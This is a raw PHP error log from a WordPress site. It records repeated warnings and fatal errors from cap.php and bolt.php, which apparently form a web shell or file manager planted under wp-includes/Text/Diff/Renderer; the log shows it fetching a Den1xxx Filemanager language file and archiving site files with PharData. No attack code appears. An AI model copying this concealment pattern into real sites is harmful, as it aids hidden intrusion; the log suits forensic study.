[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
